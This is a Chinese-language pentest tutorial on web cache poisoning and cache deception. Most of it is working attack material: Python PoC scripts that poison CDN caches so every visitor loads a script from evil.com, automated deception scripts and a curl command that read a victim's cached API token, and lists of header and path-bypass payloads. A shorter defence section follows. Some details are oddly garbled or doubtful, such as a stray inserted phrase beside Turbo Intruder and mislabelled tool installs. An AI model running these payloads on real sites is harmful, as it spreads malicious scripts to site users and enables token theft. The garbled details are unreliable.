适合人群:有Web基础的安全测试人员、Bug Bounty猎人、渗透测试工程师
前置知识:HTTP协议基础、CDN基础概念、Burp Suite基本使用
一、前置准备
工具安装
# ParamSpider — 参数发现
pip3 install arjun
go install github.com/devanshbatham/paramspider@latest
# Cache Key 检测工具
go install github.com/tomnomnom/unfurl@latest
go install github.com/tomnomnom/waybackurls@latest
# Burp Suite 插件
# 安装巴啦啦小魔仙 · Turbo Intruder
# 安装 Collaborator Everywhere
# 靶场搭建(本地测试用)
git clone https://github.com/s0md3v/Web-Cache-Vulnerability-Scanner.git
cd Web-Cache-Vulnerability-Scanner && docker-compose up -d
靶场验证
推荐在线靶场:
- PortSwigger Web Cache Poisoning Labs(需Pro账户)
- https://pentesterlab.com/exercises/web_cache_poisoning
二、核心原理
什么是Web缓存?
Web缓存(CDN / 反向代理 / 浏览器缓存)的核心逻辑:
用户请求 → CDN(Cloudflare/Akamai) → 源站
↓
缓存了么?→ 有→直接返回
无→请求源站→缓存→返回
关键概念:Cache Key — CDN判断"两个请求是否相同"的依据。默认通常是 Host + Path + Query String。不在Cache Key中的请求头,就是攻击面。
两种攻击路径
| 攻击类型 | 目标 | 影响 |
|---|---|---|
| Web Cache Poisoning(缓存投毒) | 让CDN缓存恶意响应 | 所有访问该页面的用户看到攻击内容 |
| Web Cache Deception(缓存欺骗) | 让受害者把敏感页面变为缓存 | 攻击者从CDN读取缓存中的敏感数据 |
缓存投毒的核心条件
- 未Key化的输入 — 某个请求头(
X-Forwarded-Host、X-Original-URL等)参与响应生成但不参与Cache Key计算 - 反射 — 该输入的值被反射到响应中(如URL、脚本路径)
- 缓存行为 — 响应被CDN标记为可缓存(
Cache-Control: public、max-age > 0、无Set-Cookie)
缓存欺骗的核心条件
- 路径混淆 — 源站和CDN对路径扩展名的理解不一致
- 缓存规则 — 静态文件扩展名(
.css、.js、.jpg)被缓存 - 敏感页面 — 如
/profile→ 附加.css变成/profile.css→ CDN缓存,源站返回个人资料
三、实操步骤
3.1 缓存投毒 — 基础检测
Step 1:识别CDN
curl -sI https://target.com | grep -i -E 'cf-ray|server|x-cache|x-served-by|x-amz-cf'
# Cloudflare: cf-ray, x-cache
# Akamai: x-akamai-*
# Fastly: x-served-by, x-cache
# AWS CloudFront: x-amz-cf-id
Step 2:找未Key化的请求头
# 用 ParamSpider + 自定义规则
python3 -c "
import requests
headers_pool = [
'X-Forwarded-Host', 'X-Forwarded-Scheme', 'X-Original-URL',
'X-Rewrite-URL', 'X-HTTP-Method-Override', 'X-HTTP-Host-Override',
'Forwarded', 'X-Forwarded-For', 'X-Real-IP', 'X-ProxyUser-IP',
'X-Originating-IP', 'X-Remote-IP', 'X-Client-IP',
'X-Backend-Host', 'X-Host', 'X-Custom-IP-Authorization',
'X-Accel-Redirect', 'X-Sendfile'
]
url = 'https://target.com/profile'
for h in headers_pool:
for val in ['evil.com', '//evil.com', '//evil.com/evil.css']:
resp = requests.get(url, headers={h: val}, timeout=5)
if val in resp.text or val in resp.headers.get('Location',''):
print(f'[!] {h}: {val} → REFLECTED in response')
" 2>/dev/null
实战经验:
X-Forwarded-Host和X-Original-URL是最常被未Key化且反射的两个头。
Step 3:确认缓存行为
# 发两次请求,看第二次是否 HIT
curl -sI -H 'X-Forwarded-Host: evil.com' https://target.com/resources/script.js | grep -i 'x-cache\|cf-cache-status'
# 第一次:MISS
# 第二次:HIT → 可缓存投毒
3.2 缓存投毒 — 利用链
场景1:CSS/JS劫持
请求:
GET /static/app.js HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
响应(反射到脚本URL):
<script src="//evil.com/static/app.js"></script>
使所有用户加载你的恶意JS → XSS / 信息窃取。
场景2:URL路径劫持(RPO攻击)
请求:
GET /style.css/..;/profile HTTP/1.1
Host: target.com
如果CDN认为path是 /style.css(可缓存),
但源站解析为 /profile(返回HTML),
CDN缓存了包含敏感数据的"CSS文件"。
场景3:Cache Poisoning → XSS 完整PoC
#!/usr/bin/env python3
"""Web Cache Poisoning → XSS PoC"""
import requests
import hashlib, time
TARGET = "https://target.com"
PAYLOAD = "https://evil.com/xss.js"
HEADER = "X-Forwarded-Host"
CACHE_KEY_FILE = "/tmp/cache_poc_state.txt"
def check_reflection(url, header, payload):
"""检查头是否反射到响应"""
resp = requests.get(url, headers={header: payload}, timeout=10)
if payload.rstrip('/') in resp.text:
return True, resp
return False, resp
def poison_cache(url, header, payload):
"""投毒:使CDN缓存恶意响应"""
resp = requests.get(url, headers={header: payload}, timeout=10)
cache_status = resp.headers.get('X-Cache', resp.headers.get('CF-Cache-Status', 'UNKNOWN'))
return cache_status, resp
def check_cache_hit(url):
"""验证缓存污染后的普通请求是否收到恶意内容"""
resp = requests.get(url, timeout=10)
cache_status = resp.headers.get('X-Cache', resp.headers.get('CF-Cache-Status', 'UNKNOWN'))
has_malicious = PAYLOAD.rstrip('/') in resp.text
return cache_status, has_malicious, resp
# 主流程
reflected, _ = check_reflection(TARGET, HEADER, PAYLOAD)
if not reflected:
print(f"[-] {HEADER} 未反射,尝试其他头")
exit(1)
print(f"[+] {HEADER} 可反射,开始投毒...")
# 投毒请求(带payload头)
status, _ = poison_cache(TARGET, HEADER, PAYLOAD)
print(f"[*] 投毒请求缓存状态: {status}")
# 等待缓存生效
time.sleep(2)
# 普通请求验证
cache_status, poisoned, resp = check_cache_hit(TARGET)
if poisoned:
print(f"[!] 投毒成功!缓存命中: {cache_status}")
print(f"[!] 所有访问 {TARGET} 的用户将加载 {PAYLOAD}")
else:
print(f"[-] 投毒未生效,缓存状态: {cache_status}")
print(f"[-] Cache Key 可能包含了 {HEADER}")
3.3 缓存欺骗 — 基础检测
核心思路:诱导受害者访问 敏感页面.css,CDN把响应当CSS缓存,攻击者从缓存读取。
# 发现敏感页面
python3 -c "
import requests
sensitive = ['/profile', '/account', '/dashboard', '/settings',
'/api/user', '/order', '/admin', '/private']
for path in sensitive:
# 附加 .css 后缀
test_url = f'https://target.com{path}.css'
resp = requests.get(test_url, timeout=5)
cache = resp.headers.get('X-Cache', '')
cl = resp.headers.get('Content-Length', '-')
ct = resp.headers.get('Content-Type', '')
set_cookie = 'Set-Cookie' in resp.headers
if 'HIT' in cache and cl != '-' and int(cl) > 500:
print(f'[!] 可能缓存欺骗: {test_url}')
print(f' Cache: {cache} | Size: {cl} | Type: {ct}')
elif 'MISS' in cache and 'text/html' in ct:
print(f'[?] 可尝试: {test_url} (MISS, 诱导访问后变HIT)')
"
3.4 缓存欺骗 — 利用链
攻击流程:
1. 攻击者找到敏感页面 https://target.com/profile
2. 构造URL:https://target.com/profile.css
3. 通过社交工程发送链接给受害者(或嵌入iframe/图片)
4. 受害者访问 → 源站返回 profile 内容(HTML)+ CDN缓存
5. 攻击者请求同一个URL → CDN返回HIT → 读取敏感数据
自动化缓存欺骗利用脚本:
#!/usr/bin/env python3
"""Web Cache Deception PoC"""
import requests
import sys
def test_cache_deception(base_url, extension='.css'):
"""测试指定路径是否存在缓存欺骗"""
if not base_url.endswith('/'):
base_url += '/'
# 先请求原页面确认有敏感内容
try:
resp_orig = requests.get(base_url.rstrip('/'), timeout=10, allow_redirects=False)
if resp_orig.status_code != 200:
print(f"[-] {base_url} 返回 {resp_orig.status_code},跳过")
return False
orig_len = len(resp_orig.text)
print(f"[*] 原页面大小: {orig_len} bytes")
except Exception as e:
print(f"[-] 请求失败: {e}")
return False
# 测试各种扩展名
for ext in ['.css', '.js', '.jpg', '.png', '.gif', '.ico', '.svg', '.txt']:
poisoned_url = base_url.rstrip('/') + ext
resp = requests.get(poisoned_url, timeout=10, allow_redirects=False)
is_cache_hit = 'HIT' in resp.headers.get('X-Cache', '')
is_cache_hit = is_cache_hit or 'HIT' in resp.headers.get('CF-Cache-Status', '')
is_same_size = abs(len(resp.text) - orig_len) < 100
if is_cache_hit and is_same_size:
print(f"[!] 缓存欺骗确认: {poisoned_url}")
print(f" Cache: {resp.headers.get('X-Cache', 'N/A')}")
print(f" Size: {len(resp.text)} (匹配原页面)")
return True
elif is_same_size:
print(f"[?] 内容匹配但未缓存: {poisoned_url} ({resp.headers.get('X-Cache', 'N/A')})")
return False
if __name__ == '__main__':
url = sys.argv[1] if len(sys.argv) > 1 else input("目标URL: ")
test_cache_deception(url)
四、绕过技术
4.1 Cache Key 绕过
| 技术 | 方法 | 场景 |
|---|---|---|
| Query参数 | ?cachebuster=123&evil=1 | 参数参与Key,但多余参数不参与 |
| HTTP方法 | POST → GET切换 | POST不缓存,用GET绕过 |
| 路径规范化 | /./style.css vs /style.css | CDN规范化不同 |
| 协议降级 | http:// vs https:// | CDN可能分开缓存 |
| 端口差异 | :443 vs 无端口 | 某些CDN视为不同Key |
| Header变异 | X-Forwarded-Host大小写 | CDN可能忽略大小写差异 |
4.2 CDN特定绕过
Cloudflare 绕过:
# CF 用 CF-Ray 做部分缓存键,但 X-Forwarded-Host 有时不被Key化
curl -sI -H 'X-Forwarded-Host: evil.com' https://target.com/
# CF-Cache-Status: HIT → 成功投毒
# 利用 CF 的 Normalize 特性
curl -sI -H 'X-Forwarded-Proto: http' https://target.com/secure-page
# 如果源站根据协议返回不同内容,但CF只Key了Host+Path
Fastly/Akamai 绕过:
# Fastly 有自定义VCL,Cache Key可能仅包含 Host+Path
# 测试头: X-Originating-URL, X-Backend-Host, X-Host
curl -sI -H 'X-Host: evil.com' https://target.com/path
4.3 缓存欺骗 — WAF/CDN规则绕过
# 双层扩展名
/profile.css;.js
/profile.css%00.js
# 路径参数
/profile;.css
/profile..css
# 编码
/profile%2ecss
/profile%252ecss
# 区分大小写
/profile.CSS
/Profile.css
# 利用URL rewrite
/profile/../nonexistent.css
五、实战案例复盘
案例1:某电商平台(已脱敏)
发现过程:
- 首页
/使用X-Forwarded-Host生成页面中的资源CDN域名 Cache-Control: public, max-age=3600→ 可缓存- 注入
X-Forwarded-Host: attacker.com→ 所有JS/CSS引用指向攻击者服务器 - 缓存投毒成功 → 1小时内所有访问用户执行恶意JS
关键payload:
GET / HTTP/1.1
Host: shop.example.com
X-Forwarded-Host: evil.com
Cache-Control: no-transform
案例2:某SaaS平台缓存欺骗
发现过程:
- 用户资料页
/dashboard返回JSON格式个人信息(含token) - 源站对
/dashboard.css返回相同内容(路由框架问题) - Cloudflare 缓存了
.css静态资源 - 诱导管理员点击
/dashboard.css - 攻击者从CDN缓存读取到管理员API Token
PoC:
# 1. 诱导步骤:发送链接给受害者
https://saas.example.com/dashboard.css
# 2. 等待受害者访问 → CDN缓存
# 3. 攻击者读取缓存
curl -s https://saas.example.com/dashboard.css | grep -oP '"token":"[^"]+"'
# 输出: "token":"eyJhbGciOiJIUzI1NiIs..."
案例3:某CDN配置缺陷(已脱敏)
发现过程:
- CDN配置为缓存
/api/*响应(本意是缓存公共API) - 但
X-Forwarded-For被用来做AB测试分组,参与响应生成 - 注入伪造IP → 获取管理员分组的数据权限
六、防御建议
开发端
# 1. Cache Key 完整性 — 所有影响响应内容的输入都加入Cache Key
# 2. 不信任任何HTTP头用于安全决策
def safe_get_host(request):
# ❌ 错误做法
# return request.headers.get('X-Forwarded-Host')
# ✅ 正确做法
return request.host
# 3. 敏感页面强制 no-store
@app.after_request
def add_cache_headers(response):
if response.mimetype == 'text/html':
response.headers['Cache-Control'] = 'no-store, no-cache'
return response
CDN配置
| CDN | 防御措施 |
|---|---|
| Cloudflare | Page Rules → Cache Key 自定义 → 添加 X-Forwarded-Host |
| AWS CloudFront | 禁用 X-Forwarded-Host 转发,用 Whitelist Headers 精细化Cache Key |
| Fastly | VCL 中 hash_data() 显式包含所有相关请求头 |
| Akamai | Property Manager → Cache Key Behavior → 包含 Host Header |
| Nginx | proxy_cache_key "$scheme$host$uri$is_args$args"; |
运维端
# nginx 反代配置 — 禁用不安全头
# /etc/nginx/sites-available/target
server {
listen 443 ssl;
...
# 禁用危险请求头转发
proxy_set_header X-Forwarded-Host $host;
proxy_set_header X-Original-URL "";
proxy_set_header X-Rewrite-URL "";
# 缓存配置
proxy_cache_key "$scheme$host$request_uri";
# 敏感路径禁止缓存
location ~* /(profile|account|admin|api/private) {
add_header Cache-Control "no-store, no-cache, must-revalidate";
proxy_no_cache 1;
proxy_cache_bypass 1;
}
}
自动化检测
# 使用 Nuclei 模板扫描
cat > cache-poisoning-template.yaml << 'EOF'
id: cache-poisoning-check
info:
name: Web Cache Poisoning Check
severity: high
requests:
- method: GET
path:
- "{{BaseURL}}"
headers:
X-Forwarded-Host: "evil.com"
matchers:
- type: word
words:
- "evil.com"
part: body
EOF
nuclei -t cache-poisoning-template.yaml -l targets.txt -v
七、常见陷阱
| # | 陷阱 | 原因 | 解决方法 |
|---|---|---|---|
| 1 | 以为是投毒实际是bypass | CDN返回未缓存的临时响应 | 发两次相同请求确认Cache HIT |
| 2 | Cache Key包含测试头 | CDN/源站已修复 | 尝试不同变体(大小写/编码) |
| 3 | 头反射了但不影响功能 | 反射在注释/不可见元素中 | 检查完整响应体,找可利用反射点 |
| 4 | 缓存时间极短 | CDN配置短TTL | 用Turbo Intruder持续投毒抢占缓存 |
| 5 | 静态路径劫持失败 | CDN路径规范化不同 | 试 /./path、//path、/path; |
| 6 | 敏感页面有Set-Cookie | Set-Cookie 阻止CDN缓存 | 测试 Cookie 未设置时的响应 |
| 7 | 标的CMS有内置缓存 | WordPress/WooCommerce有自己的页面缓存 | 测试 ?dontcache=1 参数 |
| 8 | CDN分层投毒 | 多层CDN(Cloudflare → Fastly) | 逐层测试,找到真正缓存层 |
八、总结(含速查表)
检测流程速查
1. 识别CDN → curl -sI | grep x-cache/cf-ray
2. 找未Key化头 → 遍历headers_pool,查反射
3. 确认缓存 → 两次请求,第二次HIT
4. 投毒触发 → 带恶意头的请求→CDN缓存
5. 验证 → 普通请求返回恶意内容
Payload速查表
| 攻击类型 | Payload | 目标头 |
|---|---|---|
| CSS/JS劫持 | X-Forwarded-Host: evil.com | 脚本/Style URL |
| 路径劫持 | X-Original-URL: /admin/../style.css | 后端路径解析 |
| RPO攻击 | /style.css/..;/profile | CDN/Source 路径差异 |
| 缓存欺骗 | /.css后缀附加 | CDN静态扩展名规则 |
| 参数投毒 | ?cb=1&x=evil | 多余参数未Key化 |
工具清单
| 工具 | 用途 | 链接 |
|---|---|---|
| ParamSpider | 参数发现 | github.com/devanshbatham/paramspider |
| Turbo Intruder | 高速投毒 | portswigger.net/bappstore |
| Collaborator Everywhere | OOB检测 | portswigger.net/bappstore |
| Nuclei | 自动化扫描 | github.com/projectdiscovery/nuclei |
| Waybackurls | 历史URL提取 | github.com/tomnomnom/waybackurls |
| Web-Cache-Vulnerability-Scanner | 专用测试工具 | github.com/s0md3v/Web-Cache-Vulnerability-Scanner |
| Unfurl | URL解析 | github.com/tomnomnom/unfurl |